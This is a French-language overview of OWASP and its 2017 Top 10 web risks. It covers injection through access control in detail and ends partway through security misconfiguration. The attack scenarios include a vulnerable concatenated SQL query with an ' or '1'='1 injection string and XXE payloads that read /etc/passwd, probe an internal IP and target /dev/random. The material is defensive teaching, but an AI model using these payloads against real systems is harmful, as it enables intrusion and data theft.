OWASP

Open Web Application Security Project (**OWASP**) est une communauté en ligne travaillant sur la sécurité des applications Web. Sa philosophie est d'être à la fois libre et ouverte à tous. Elle a pour vocation de publier des recommandations de sécurisation Web et de proposer aux internautes, administrateurs et entreprises des méthodes et outils de référence permettant de contrôler le niveau de sécurisation de ses applications Web.

La fondation OWASP est une organisation caritative. OWASP est aujourd'hui reconnue dans le monde de la sécurité des systèmes d'information pour ses travaux et recommandations liées aux applications Web.

Le Top 10 OWASP est un document de sensibilisation standard pour les développeurs et la sécurité des applications Web. Il représente un large consensus sur les risques de sécurité les plus critiques pour les applications Web. Produit à intervalles réguliers (2010-2013-2017—en attente de 2020)

Mondialement reconnu par les développeurs comme le premier pas vers un codage plus sécurisé.

Les entreprises doivent adopter ce document et commencer le processus pour s'assurer que leurs applications Web minimisent ces risques. L'utilisation du Top 10 OWASP est peut-être la première étape la plus efficace pour changer la culture de développement logiciel au sein de votre organisation en une culture qui produit un code plus sécurisé.

Le top 2021 vient d'être publié avec des changements par rapport à 2017 : https://owasp.org/Top10/

Les 10 principaux risques de sécurité des applications Web (2017)

Risk	Description
A1:2017-Injection	Une faille de type injection, comme une injection SQL, une injection de commande système, ou une injection LDAP, se produit quand une donnée non fiable est envoyée à un interpréteur en tant qu'élément d'une commande ou d'une requête. Les données hostiles de l'attaquant peuvent duper l'interpréteur afin de l'amener à exécuter des commandes fortuites ou accéder à des données non autorisées.
A2:2017-Authentification de mauvaise qualité	Les fonctions applicatives liées à l'authentification et à la gestion des sessions sont souvent mal implémentées, ce qui permet aux attaquants de compromettre des mots de passe, des clés ou des jetons de session, ou encore d'exploiter d'autres failles d'implémentation pour usurper temporairement ou définitivement l'identité d'autres utilisateurs.
A3:2017-Exposition de données sensibles	Beaucoup d'applications web et d'APIs ne protègent pas correctement les données sensibles telles que les données bancaires, les données relatives aux soins de santé, les données personnelles d'identification. Les pirates peuvent alors voler ou modifier ces données mal protégées pour effectuer une usurpation d'identité, une fraude à la carte de crédit ou d'autres crimes. Les données sensibles méritent une protection supplémentaire tel un chiffrement statique ou en transit, ainsi que des précautions particulières lors de l'échange avec le navigateur.
A4:2017-XML External Entities (XXE)	De nombreux processeurs xml, anciens ou mal configurés, évaluent les références aux entités externes dans les documents XML. Les entités externes peuvent être utilisées pour divulguer des fichiers internes à l'aide du gestionnaire d'URI, pour faire des partages de fichier interne, pour faire de l'analyse interne de ports, pour exécuter du code à distance, pour faire des attaques par déni de service.
A5:2017-Violation de contrôle d'accès	Les restrictions sur les droits des utilisateurs authentifiés sont souvent mal appliquées. Les attaquants peuvent exploiter ces failles pour accéder à des fonctionnalités et/ou des données non autorisées. Par exemple, accéder aux comptes d'autres utilisateurs, visualiser des fichiers sensibles, modifier les données d'autres utilisateurs, modifier les droits d'accès, etc.

Risk	Description
A6:2017-Mauvaise configuration Sécurité	La mauvaise configuration de la sécurité est le problème le plus répandu. C'est généralement le résultat de configurations par défaut non sécurisées, de configurations incomplètes ou ad hoc, d'un stockage dans un cloud ouvert, d'en-têtes HTTP mal configurés et de messages d'erreur verbeux contenant des informations sensibles. Non seulement tous les systèmes d'exploitation, frameworks, bibliothèques et applications doivent être configurés de façon sécurisées, mais ils doivent également être corrigés et mis à jour en temps et en heure.
A7:2017-Cross-Site Scripting (XSS)	Les failles XSS se produisent chaque fois qu'une application inclut des données non fiables dans une nouvelle page Web sans les valider ou les échapper de façon appropriée, ou lorsqu'elle met à jour une page Web existante avec des données fournies par l'utilisateur à l'aide d'une API de navigateur permettant de créer du HTML ou du JavaScript. Le XSS permet aux attaquants d'exécuter des scripts dans le navigateur de la victime et ainsi de détourner des sessions utilisateurs, de défigurer des sites Web ou de rediriger l'utilisateur vers des sites malveillants.
A8:2017-Désérialisation non sécurisée	La désérialisation non sécurisée conduit souvent à l'exécution de code arbitraire à distance. Même si les failles de désérialisation n'entraînent pas l'exécution de code distant, elles peuvent être utilisées pour effectuer d'autres attaques, notamment des attaques par rejeu, des attaques par injection et des attaques par élévation de privilèges.
A9:2017-Utilisation de composants présentant des vulnérabilités connues	Les composants, tels que les bibliothèques, frameworks et autres modules logiciels, fonctionnent avec les mêmes privilèges que l'application. Si un composant vulnérable est exploité par une attaque, cela peut entraîner de graves pertes de données ou la compromission du serveur. Les applications et les API utilisant des composants dont les vulnérabilités sont connues peuvent compromettre leurs défenses et permettre diverses attaques et impacts.
A10:2017-Journalisation & Surveillance insuffisantes	L'insuffisance de journalisation et de surveillance, couplée à une intégration avec la réponse aux incidents, inefficace ou absente, permet aux pirates d'attaquer des systèmes de façon plus avancée, de maintenir la persistance, de basculer vers d'autres systèmes, et de falsifier, extraire ou détruire des données. La plupart des études de failles montrent que le temps nécessaire pour détecter une faille est supérieur à 200 jours. Généralement, cette faille est détectée par des parties externes plutôt que par une surveillance ou des processus internes.

A1:2017 Injection

Facteurs de Menace/Vecteurs d'Attaque	Vulnérabilité	Impacts
Considérez que n'importe qui peut envoyer des données non fiables au système, y compris les utilisateurs externes, internes, et administrateurs. Presque toute source de données peut être un vecteur d'injection, y compris les variables d'environnement, les paramètres et les web services internes et externes. Les failles d'injection surviennent lorsqu'une application envoie des données non fiable à un interpréteur.	Les failles d'injection sont très fréquentes, surtout dans le code ancien. On les retrouve souvent dans les requêtes SQL, LDAP, XPath, noSQL, commandes OS, parseurs XML, arguments de programme, etc. Les failles d'Injection sont faciles à découvrir lors d'un audit de code, mais plus difficilement via des tests. Scanners et Fuzzers aident les attaquants à les trouver.	L'Injection peut résulter en une perte ou une corruption de données, une divulgation à des tiers non autorisés, une perte de droits, ou un refus d'accès. L'Injection peut parfois mener à une prise de contrôle totale du serveur. Considérez la valeur métier de la donnée impactée et la plateforme exécutant l'interpréteur. Toute donnée pourrait être volée, modifiée ou supprimée. Votre réputation pourrait-elle en pâtir?

Suis-je vulnérable à l'Injection?

Une application est vulnérable quand :

- les données venant de l'utilisateur ne sont pas validées, filtrées ou nettoyées par l'application ;
- des requêtes dynamiques ou des appels non paramétrés sans échappage par rapport au contexte sont envoyés à l'interpréteur ;
- des données hostiles sont utilisées au sein de paramètres de recherche de mapping objet - relationnel (ORM) pour extraire des données supplémentaires sensibles ;
- des données hostiles sont utilisées directement ou concaténées, par exemple lors de la construction de requête dynamiques, de commandes ou de procédures stockées pour des requêtes SQL ou des commandes OS ;
- les injections les plus courantes se font dans le SQL, le NoSQL, les commandes OS, le mapping objet - relationnel, le LDAP, l'Expression Language et le Object Graph Navigation Library (OGNL). La façon de faire est la même pour tous les interpréteurs. La revue de code source est la meilleure manière de détecter si une application est vulnérable à l'Injection, suivie de près par le test automatique de toutes les données d'entrée via les paramètres, en-têtes, URL, cookies, JSON, SOAP et XML. Les organisations peuvent tirer profit de la puissance des outils d'analyse statique de code (SAST) ou d'analyse dynamique de l'application (DAST) en les intégrant dans leur chaine d'intégration continue (CI / CD) pour identifier avant déploiement en production les vulnérabilités liées aux injections.

Comment empêcher l'Injection?

Prévenir l'Injection exige de séparer les données non fiables des commandes et requêtes.

- La meilleure option est d'utiliser une API saine qui évite complètement l'utilisation de l'interpréteur ou fournit une interface paramétrable, ou bien de migrer pour utiliser les outils d'Object Relational Mapping Tools (ORMs). **Note**: Attention aux API, telles les procédures stockées, qui sont paramétrables, mais qui pourraient introduire une Injection SQL si PL/SQL ou T-SQL concatène requêtes et données ou exécute des données non saines avec EXECUTE IMMEDIATE ou exec().
- Pour les données en entrée, la « whitelist » avec normalisation est recommandée, mais n'est pas une défense complète dans la mesure où de nombreuses applications requièrent des caractères spéciaux, par exemple les zones de texte ou les API pour les applications mobiles.
- Pour les requêtes dynamiques restantes, vous devriez soigneusement échapper les caractères spéciaux en utilisant la syntaxe d'échappement spécifique à l'interpréteur. **Note**: Les structures SQL telles que les noms de table, les noms de colonne, et d'autres ne peuvent pas être échappées et les noms de structures venant de l'utilisateur doivent donc être considérés comme dangereuses. Ceci est un problème courant dans les logiciels d'aide à l'écriture de rapports.
- Il est conseillé d'utiliser LIMIT et autres contrôles SQL à l'intérieur des requêtes pour empêcher les divulgations massives de données dans le cas d'injection SQL.

Exemples de scénarios d'attaque

Scenario #1: L'application utilise des données non fiables dans la construction de l'appel SQL vulnérable suivant:

```
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
```

Scenario #2: De même, la confiance aveugle d'une application dans les frameworks qu'elle utilise peut faire que ses requêtes sont toujours vulnérables (par exemple Hibernate Query Language (HQL)):

```
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" +
request.getParameter("id") + "'");
```

Dans les deux cas, l'attaquant modifie le paramètre 'id' dans son navigateur en : ' or '1'='1. Par exemple :

```
http://example.com/app/accountView?id=' or '1'='1
```

Ceci change le sens de chacune des requêtes pour récupérer tous les enregistrements de la table des comptes. Dans le pire des cas, l'attaquant exploite cette faiblesse pour modifier ou détruire des données, ou appeler des procédures stockées de la base de données.

Références

OWASP

- OWASP Proactive Controls: Parameterize Queries

- OWASP ASVS: V5 Input Validation and Encoding
- OWASP Testing Guide: SQL Injection, Command Injection, ORM injection
- OWASP Cheat Sheet: Injection Prevention
- OWASP Cheat Sheet: SQL Injection Prevention
- OWASP Cheat Sheet: Injection Prevention in Java
- OWASP Cheat Sheet: Query Parameterization
- OWASP Automated Threats to Web Applications – OAT-014

Externes

- CWE-77: Command Injection
- CWE-89: SQL Injection
- CWE-564: Hibernate Injection
- CWE-917: Expression Language Injection
- PortSwigger: Server-side template injection

A2:2017 Authentification de mauvaise qualité

Facteurs de Menace/Vecteurs d'Attaque	Vulnérabilité	Impacts
Les attaquants ont des accès à des centaines de millions de combinaisons de logins et mots de passe, des comptes par défaut d'administration, d'outils de force brute automatisés. Les attaques de gestion de session sont bien connues, en particulier en ce qui concerne les jetons de sessions non expirés.		
Le prévalence de la violation de l'authentification est généralement liée à une erreur de conception ou de mise en œuvre dans la plupart des contrôles d'identités et d'accès. La gestion des sessions est la base de l'authentification et du contrôle d'accès. Les attaquants peuvent détecter une violation de l'authentification avec des tests manuels et les exploiter avec des outils automatisés utilisant des listes de mots de passe et des attaques par dictionnaires.	Les attaquants doivent avoir accès à seulement quelques comptes ou à un seul compte admin pour compromettre le système. Selon le domaine de l'application, cela peut permettre le blanchiment d'argent, une fraude à la sécurité sociale et le vol d'identité, ou divulguer des informations hautement sensibles protégées par la loi.	

Suis-je vulnérable ?

La confirmation de l'identité, de l'authentification et de la session de l'utilisateur est essentielle pour se protéger des attaques liées à l'authentification.

Il peut y avoir des faiblesses d'authentification si l'application :

- Autorise les attaques automatisées telles que le credential stuffing, où l'attaquant dispose d'une liste de noms d'utilisateurs valides et mots de passe.
- Permet la force brute ou d'autres attaques automatisées
- Autorise les mots de passe par défaut, faibles ou bien connus, tels que "Password1" ou "admin / admin".
- Utilise des processus de récupération des informations d'identification faibles ou inefficaces et des processus de mot de passe oublié, tels que « "Questions secrètes" », qui ne peuvent être sécurisées.
- Utilise des mots de passe en texte brut, chiffrés ou faiblement hachés (voir A3 : Exposition de données sensibles 2017).

- Absence ou utilisation inefficace de l'authentification multi-facteur.
- Exposition des ID de session dans l'URL. (ex : réécriture)
- Non rotation des ID de session après une connexion réussie
- N'invalide pas correctement les ID de session. Les sessions utilisateurs ou les jetons d'authentification (en particulier les jetons SSO) ne sont pas correctement invalidés lors de la déconnexion ou après une période d'inactivité.

Comment protéger l'application ?

- Lorsque cela est possible, implémentez l'authentification multifacteur pour éviter les attaques automatisées, le bourrage des informations d'identification, le brute force et la réutilisation des informations d'identification volées.
- Ne pas livrer ou déployer avec des informations d'identification par défaut, en particulier pour les utilisateurs avec privilèges.
- Intégrer des tests de mots de passes faibles, à la création ou au changement. Comparer ce mot de passe avec la liste des tops 10000 mots de passe faibles.
- Respecter la longueur, la complexité et la rotation des mots de passe par rapport aux directives NIST 800-63 B à la section 5.1.1 NIST 800-63 B à la section 5.1.1 ou autre directives modernes
- Assurez-vous que l'inscription, la récupération des informations d'identification et les chemins d'accès aux API sont durcis contre les attaques d'énumération de compte en utilisant le même message pour tous les résultats
- Limiter ou retarder de plus en plus les tentatives de connexions infructueuses. Enregistrer tous les échecs et alerter les administrateurs lors du bourrage des informations d'identification, de brute force ou d'autres attaques détectées.
- Utilisez un gestionnaire de session intégré et sécurisé côté serveur qui génère un nouvel ID de session aléatoire avec une entropie élevée après la connexion. Les ID de session ne doivent pas se trouver dans l'URL, ils doivent être stockés de manière sécurisée et être invalidés après la déconnexion, une inactivité et une certaine durée.

Exemples de scenarios d'attaques

Scénario #1 : La réutilisation de mots de passe, l'utilisation de mots de passe connus, est une attaque classique. Si une application n'implémente une protection automatisée contre le bourrage d'informations, ou l'utilisation des mots de passe connus.

Scénario #2 : La plupart des attaques d'authentification se produisent en raison de l'utilisation de mots de passe comme facteur unique. Une fois considéré, les exigences de rotation et de complexité des mots de passe, sont considérées comme encourageant les utilisateurs à utiliser et réutiliser des mots de passe faibles. Il est maintenant recommandé d'arrêter ces pratiques NIST 800-63 et d'utiliser du multifacteur.

Scénario #3 : Les timeouts de session d'application ne sont pas paramétrés correctement. Un utilisateur utilise un ordinateur public pour accéder à une application. A la place de se

déconnecter correctement, l'utilisateur ferme le navigateur et quitte l'ordinateur. Un attaquant utilise ensuite le même navigateur quelques temps après et l'utilisateur est toujours authentifié.

References

OWASP

- OWASP Proactive Controls: Implement Identity and Authentication Controls
- OWASP Application Security Verification Standard: V2 Authentication
- OWASP Application Security Verification Standard: V3 Session Management
- OWASP Testing Guide: Identity and Authentication
- OWASP Cheat Sheet: Authentication
- OWASP Cheat Sheet: Credential Stuffing
- OWASP Cheat Sheet: Forgot Password
- OWASP Cheat Sheet: Session Management
- OWASP Automated Threats Handbook

Externes

- NIST 800-63b: 5.1.1 Memorized Secrets - for thorough, modern, evidence-based advice on authentication.
- CWE-287: Improper Authentication
- CWE-384: Session Fixation

A3:2017 Exposition de données sensibles

Facteurs de Menace/Vecteurs d'Attaque	Vulnérabilité	Impacts
La cryptanalyse (cassage de l'algorithme ou de la clé) reste rare. On préfère obtenir les clefs, effectuer des attaques du type man-in-the-middle, accéder aux données en clair sur le serveur, en transit, ou depuis le client de l'utilisateur, par exemple le navigateur. Une attaque manuelle est requise dans la majorité des cas. Des bases de données de mots de passe précédemment récupérées peuvent être brute forcées par des processeurs graphiques (GPU).	Au cours des dernières années, cela a été l'attaque impactante la plus courante. La principale erreur est de ne pas chiffrer les données sensibles. Les autres erreurs fréquentes sont : génération de clés faibles, choix et configuration incorrects des algorithmes et protection insuffisante des mots de passe. En ce qui concerne les données en transit, les faiblesses côté serveur sont pour la plupart faciles à détecter. C'est plus difficile pour les données déjà stockées.	L'exploitation peut résulter en la compromission ou la perte de données personnelles, médicales, financières, d'éléments de cartes de crédit ou d'authentification. Ces données nécessitent souvent une protection telle que définie par le Règlement Général sur la Protection des Données ou les lois locales sur la vie privée.

Suis-je vulnérable ?

Déterminer d'abord quelles données doivent bénéficier d'une protection chiffrée (mots de passe, données patient, numéros de cartes, données personnelles, etc.), lors de leur transfert et/ou leur stockage. Pour chacune de ces données :

- Les données circulent-elles en clair ? Ceci concerne les protocoles tels que HTTP, SMTP, et FTP. Le trafic externe sur inernet est particulièrement dangereux. Vérifiez tout le réseau interne, par exemple entre les équilibreurs de charge, les serveurs Web, ou les systèmes backend.
- Des algorithmes faibles ou désuets sont-ils utilisés, soit par défaut, soit dans le code source existant ?
- Est-ce que des clefs de chiffrement par défaut sont utilisées ? Des clefs de chiffrement faibles sont-elles générées ou réutilisées ? Leur gestion et rotation sont-elles prises en charge ?
- Les réponses transmises au navigateur incluent-elles les directives/en-têtes de sécurité adéquats ?
- Est-ce que l'agent utilisateur (l'application ou le client mail, par exemple) vérifie que le certificat envoyé par le serveur est valide ?

Pour une liste complète de contrôles, se référer à l'ASVS : Crypto (V7), Data Protection (V9) et SSL/TLS (V10).

Comment s'en prémunir ?

On veillera au minimum à suivre les recommandations suivantes, mais il reste nécessaire de consulter les références.

- Classifier les données traitées, stockées ou transmises par l'application. Identifier quelles données sont sensibles selon les lois concernant la protection de la vie privée, les exigances réglementaires, ou les besoins métier.
- Appliquer des contrôles selon la classification.
- Ne pas stocker de données sensibles sans que cela ne soit nécessaire. Les rejeter ou utiliser une tokenisation conforme à la norme de sécurité de l'industrie des cartes de paiement (PCI DSS) ou même une troncature. Les données que l'on ne possède pas ne peuvent être volées !
- S'assurer de chiffrer toutes les données sensibles au repos.
- Choisir des algorithmes éprouvés et générer des clés robustes. S'assurer qu'une gestion des clés est en place.
- Chiffrer toutes les données transmises avec des protocoles sécurisés tels que TLS avec des chiffres à confidentialité persistante (perfect forward secrecy - PFS). Chiffrer en priorité sur le serveur. Utiliser des paramètres sécurisés. Forcer le chiffrement en utilisant des directives comme HTTP Strict Transport Security (HSTS).
- Désactiver le cache pour les réponses contenant des données sensibles.
- Stocker les mots de passe au moyen de puissantes fonctions de hachage adaptatives, avec sel et facteur de travail (ou facteur de retard), comme Argon2, scrypt, bcrypt ou PBKDF2.
- Vérifier indépendamment l'efficacité de la configuration et des paramètres.

Exemples de scénarios d'attaque

Scénario #1 : Une application chiffre des numéros de cartes de crédit dans une base de données utilisant un chiffrement en base automatique. Cependant, ces données sont automatiquement déchiffrées lorsqu'elles sont récupérées, permettant, à une injection SQL de récupérer des numéros de carte de crédit en clair.

Scénario #2 : Un site n'utilise pas ou ne force pas l'utilisation de TLS sur toutes les pages, ou supporte des protocoles de chiffrement faibles. Un attaquant surveille le trafic réseau (par exemple sur un réseau sans fil non sécurisé), dégrade les connexions de HTTPS à HTTP, intercepte les requêtes, et vole le cookie de session d'un utilisateur. L'attaquant réutilise alors ce cookie et détourne la session de l'utilisateur (authentifié), pouvant ainsi accéder aux données privées de l'utilisateur ou les modifier. Un attaquant pourrait également modifier toutes les données en transit, par exemple le destinataire d'un virement d'argent.

Scénario #3 : La base de données contenant les mots de passe n'utilise pas de sel, ou alors de simples hashs pour stocker les mots de passe de chacun. Une faille d'upload de fichier permet à un attaquant de récupérer la base de données de mots de passe. Tous les hashs non salés peuvent alors être révélés avec une rainbow table de hashs pré-calculés. Des hashs générés par des fonctions de hachage simples ou rapides peuvent être décrytés par des GPUs, même salés.

Références

- OWASP Proactive Controls: Protect Data
- OWASP Application Security Verification Standard: V7, 9, 10
- OWASP Cheat Sheet: Transport Layer Protection
- OWASP Cheat Sheet: User Privacy Protection
- OWASP Cheat Sheet: Password and Cryptographic Storage
- OWASP Security Headers Project; Cheat Sheet: HSTS
- OWASP Testing Guide: Testing for weak cryptography

Externes

- CWE-220: Exposure of sens. information through data queries
- CWE-310: Cryptographic Issues; CWE-311: Missing Encryption
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-319: Cleartext Transmission of Sensitive Information
- CWE-326: Weak Encryption; CWE-327: Broken/Risky Crypto
- CWE-359: Exposure of Private Information - Privacy Violation

A4:2017 XML Entités externes (XXE)

Facteurs de Menace/Vecteurs d'Attaque	Vulnérabilité	Impacts
Des attaquants peuvent exploiter des processeurs XML vulnérables s'ils peuvent télécharger du XML ou inclure du contenu hostile dans un document XML, en exploitant du code vulnérable, des dépendances ou des intégrations.	Par défaut, de nombreux anciens processeurs XML permettent de spécifier une entité externe : une URI déréférencée et évaluée lors du traitement XML. Les outils SAST peuvent découvrir ces problèmes en inspectant les dépendances et la configuration. Les outils DAST nécessitent des étapes manuelles supplémentaires pour détecter et exploiter ces problèmes. Des testeurs doivent être formés à la façon manuelle de tester les XXE, car elles n'étaient pas couramment testées en 2017.	Ces failles peuvent être utilisées pour extraire des données, exécuter une requête à distance sur un serveur, découvrir des systèmes internes, lancer des attaques par déni de service ou même exécuter d'autres attaques.

L'application est-elle vulnérable?

Des applications et en particulier les services Web basés sur XML ou les intégrations en aval peuvent être vulnérables aux attaques si :

- L'application accepte directement du XML ou les uploads XML, en particulier ceux provenant de sources non fiables, ou injecte des données non fiables dans des documents XML, qui sont ensuite analysés par un processeur XML.
- N'importe quels moteur XML d'une application ou des services Web basés sur SOAP à un document type definitions (DTDs) activé. Comme le mécanisme exact de désactivation du traitement de DTD varie selon le moteur, il est recommandé de consulter une référence telle que la OWASP Cheat Sheet 'XXE Prevention'.
- Si l'application utilise SAML pour le traitement de l'identité à des fins de sécurité fédérée ou d'authentification unique. SAML utilise XML pour les assertions d'identité et peut être vulnérable.
- Si l'application utilise SOAP avant la version 1.2, il est probable que des attaques XXE se produisent si des entités XML sont transmises à la structure SOAP.
- Être vulnérable aux attaques XXE signifie probablement que l'application est vulnérable aux attaques par déni de service, y compris l'attaque Billion Laughs.

Comment empêcher

La formation des développeurs est essentielle pour identifier et atténuer les XXE. De plus, prévenir des XXE nécessite :

- Autant que possible, utiliser des formats de données moins complexes tels que JSON et éviter la sérialisation des données sensibles.
- Corriger ou mettre à niveau tous les moteurs et bibliothèques XML utilisés par l'application ou sur le système d'exploitation sous-jacent. Utiliser des vérificateurs de dépendance. Mettre à jour SOAP vers SOAP 1.2 ou supérieur.
- Désactiver le traitement des entités externes XML et des DTD dans tous les moteur XML de l'application, OWASP Cheat Sheet 'XXE Prevention'.
- Implémenter une validation, un filtrage ou une désinfection des entrées côté serveur positives ("liste blanche") pour empêcher les données hostiles dans les documents XML, les en-têtes ou les nœuds.
- Vérifier que la fonctionnalité de téléchargement de fichier XML ou XSL valide le XML entrant à l'aide de la validation XSD ou similaire.
- Les outils SAST peuvent aider à détecter XXE dans le code source, bien que la relecture manuelle du code soit la meilleure alternative dans les applications volumineuses et complexes comportant de nombreuses intégrations. Si ces contrôles sont impossibles, envisagez d'utiliser des correctifs virtuels, des passerelles de sécurité d'API ou des pare-feu d'applications Web (WAF) pour détecter, surveiller et bloquer les attaques XXE.

Exemple de scénarios d'attaque

De nombreux problèmes XXE ont été rendu public, notamment des attaques sur des périphériques intégrés. XXE se produit dans de nombreux endroits inattendus, y compris des dépendances profondément imbriquées. Le moyen le plus simple est d'uploader un fichier XML illicite, s'il est accepté :

Scenario #1 : L'attaquant tente d'extraire des données du serveur :

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  <foo>&xxe;</foo>
```

Scenario #2 : Un attaquant scan le réseau privé du serveur en modifiant la ligne ENTITY ci-dessous en :

```
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
```

Scenario #3 : Un attaquant tente une attaque par déni de service en incluant un fichier potentiellement sans fin :

```
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
```

Références

OWASP

- OWASP Application Security Verification Standard
- OWASP Testing Guide: Testing for XML Injection

- OWASP XXE Vulnerability
- OWASP Cheat Sheet: XXE Prevention
- OWASP Cheat Sheet: XML Security

Externes

- CWE-611: Improper Restriction of XXE
- Billion Laughs Attack
- SAML Security XML External Entity Attack
- Detecting and exploiting XXE in SAML Interfaces

A5:2017 Manque dans le contrôle d'accès

Facteurs de menace/Vecteurs d'attaque	Vulnérabilité	Impacts
L'exploitation des contrôles d'accès est une des principales compétences des attaquants. Les outils SAST et DAST peuvent détecter l'absence de contrôles d'accès, mais ne peuvent vérifier s'ils sont efficaces quand ils existent. Les vulnérabilités de contrôles d'accès peuvent être détectés par des tests manuels, leur absence peut être détectée par des contrôles automatiques dans certains frameworks.	Les vulnérabilités de contrôles d'accès surviennent souvent par le manque de détection automatique, et le manque de tests fonctionnels effectifs par les développeurs d'applications. La detection des vulnérabilités de contrôles d'accès ne se prête pas bien aux tests statiques ou dynamiques. Les tests manuels sont la meilleure méthode pour détecter des vulnérabilités de contrôles d'accès manquants ou défectueux. Ceci inclut les méthodes HTTP (GET vs PUT, etc.), les contrôleurs, les références directes d'objets, etc.	Techniquement parlant, l'impact est qu'un attaquant peut obtenir les droits d'un utilisateur ou d'un administrateur, ou qu'un utilisateur obtienne des droits privilégiés ou qu'il puisse créer, lire ou supprimer tout enregistrement de son choix. L'impact métier est dépendant du niveau de protection nécessité par l'application et ses données.

Suis-je vulnérable ?

Les contrôles d'accès appliquent une politique assurant que les utilisateurs respectent leurs permissions. Une faille entraînera généralement des fuites d'informations, des corruptions ou destructions de données, ou permettra des actions en dehors des autorisations de l'utilisateur. Les vulnérabilités de contrôle d'accès consistent généralement :

- A contourner les contrôles d'accès en modifiant l'URL, l'état interne de l'application, ou la page HTML ; ou simplement en utilisant un outil dédié d'attaque d'API.
- A permettre la modification de la clef primaire pour pointer sur l'enregistrement d'un autre utilisateur, donnant ainsi la possibilité de voir ou modifier le compte de quelqu'un d'autre.

- A permettre une élévation de privilège, c'est à dire permettre d'agir comme un utilisateur connecté, ou comme administrateur alors que l'on est connecté comme utilisateur.
- A permettre les manipulations de meta-données, comme le rejeu ou la modification de JSON Web Token (JWT), de cookies ou de champs cachés, afin d'élever les privilèges, ou d'abuser les invalidations JWT.
- A permettre l'accès non-autorisé à des API, par mauvaise configuration CORS.
- A permettre la navigation forcée vers des pages soumises à authentification sans être authentifié, ou à des pages soumises à accès privilégié en étant connecté comme simple utilisateur. A permettre l'accès à des API sans contrôle pour POST, PUT et DELETE.

Comment s'en prémunir ?

Les contrôles d'accès ne sont efficaces que s'ils sont appliqués dans du code de confiance côté serveur ou dans des API server-less, là ou un attaquant ne peut pas modifier les vérifications des contrôles ni les meta-données.

- A l'exception des ressources publiques, tout doit être bloqué par défaut.
- Centraliser l'implémentation des mécanismes de contrôle d'accès et les réutiliser dans l'ensemble de l'application. Cela comprend de minimiser l'utilisation de CORS.
- Le modèle de contrôle d'accès doit vérifier l'appartenance des enregistrements, plutôt que de permettre à l'utilisateur de créer, lire, modifier ou supprimer n'importe quel enregistrement.
- Les exigences spécifiques métier de l'application doivent être appliquées par domaines.
- Désactiver le listing de dossier sur le serveur web, et vérifier que les fichiers de meta-données (ex : .git) et de sauvegardes ne se trouvent pas dans l'arborescence web.
- Tracer les échecs de contrôles d'accès, les alertes administrateur quand c'est approprié (ex : échecs répétés).
- Limiter la fréquence d'accès aux API et aux contrôleurs d'accès, afin de minimiser les dégats que causeraient des outils d'attaques automatisés.
- Les jetons JWT doivent être invalidés côté serveur après une déconnexion.
- Les développeurs et les testeurs qualités doivent procéder à des tests unitaires et d'intégration sur les fonctionnalités de contrôle d'accès.

Exemple de scénarii d'attaque

Scénario #1 : L'application utilise des données non vérifiées dans un appel SQL qui accède aux informations d'un compte :

```
  pstmt.setString(1, request.getParameter("acct"));
  ResultSet results = pstmt.executeQuery();
```

En modifiant simplement le paramètre 'acct' dans le navigateur, un attaquant peut envoyer le numéro de compte qu'il veut. Si ce numéro n'est pas vérifié, l'attaquant peut accéder à n'importe quel compte utilisateur.

```
http://example.com/app/accountInfo?acct=notmyacct
```

Scénario #2 : Un attaquant force le navigateur à visiter des URL arbitraires. Il faut imposer des droits pour accéder à une page d'administration.

```
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
```

Si un utilisateur non-authentifié peut accéder à l'une des pages, c'est une faille. Si un non-administrateur peut accéder à une page d'administration, c'est une faille.

Références

OWASP

- OWASP Proactive Controls: Access Controls
- OWASP Application Security Verification Standard: V4 Access Control
- OWASP Testing Guide: Authorization Testing
- OWASP Cheat Sheet: Access Control

Externes

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-284: Improper Access Control (Authorization)
- CWE-285: Improper Authorization
- CWE-639: Authorization Bypass Through User-Controlled Key
- PortSwigger: Exploiting CORS misconfiguration

A6:2017 Mauvaise configuration de Sécurité

Agents de menace/Vecteurs d'attaque	Vulnérabilité de Sécuité	Impacts
Les attaquants tentent fréquemment d'exploiter des vulnérabilités non corrigées ou d'accéder aux comptes par défaut, aux pages inutilisées, aux fichiers et répertoires non protégés, etc... afin d'obtenir des accès non autorisés et une meilleure connaissance du système visé.	Une mauvaise configuration de sécurité peut survenir sur l'ensemble des couches protocolaires, dont les services de réseau, la plateforme, le serveur Web, le serveur d'application, la base de données, les frameworks, les codes spécifiques, et les machines virtuelles pré-installées, les conteneurs, et le stockage. Les scanners automatisés sont utiles pour détecter les erreurs de configurations, l'utilisation de comptes ou de configurations par défaut, les services inutiles, les options héritées de configurations précédentes, etc.	De tels défauts ou vulnérabilités fournissent souvent aux attaquants un accès non autorisé à certaines données du système, ou à des fonctionnalités. Il arrive parfois que de tels vulnérabilités ou défauts entraînent une compromission complète du système. L'impact métier dépend des exigences de protection sécurité portées par l'application et les données.

Suis-je Vulnérable ?

L'application peut être vulnérable si :

- elle n'a pas fait l'objet d'un durcissement sécurité approprié sur l'ensemble des couches protocolaires applicatives, ou si les permissions sont mal configurées sur les services cloud.
- des fonctionnalités inutiles sont activées ou installées (ex : des ports, des services, des pages, des comptes ou des privilèges inutiles).
- les comptes par défaut et leurs mots de passe sont toujours activés et inchangés.
- le traitement des erreurs révèle aux utilisateurs des traces des piles protocolaires ou d'autres messages d'erreur laissant transpirer trop d'informations.
- pour les systèmes à jour ou mis à niveau, les dernières fonctionnalités de sécurité sont désactivées ou ne sont pas configurées de manière sécurisées.
- les paramètres de sécurité dans les serveurs d'application, les frameworks applicatifs (ex : Struts, Spring, ASP.NET), les bibliothèques, les bases de données, etc. ne sont pas paramétrés avec des valeurs correctes du point de vue de la sécurité.

- le serveur n'envoie pas d'en-têtes ou de directives de sécurité, ou s'ils ne sont pas paramétrés avec des valeurs correctes du point de vue de la sécurité.
- La version du logiciel est obsolète ou vulnérable (voir **A9:2017 Utilisation de Composants avec des Vulnérabilités Connues**).

Sans un processus concerté et répétable de configuration de la sécurité des applications, les systèmes courent un risque plus élevé.

Comment s'en Prémunir

Des processus d'installation sécurisés doivent être mis en œuvre, avec notamment :

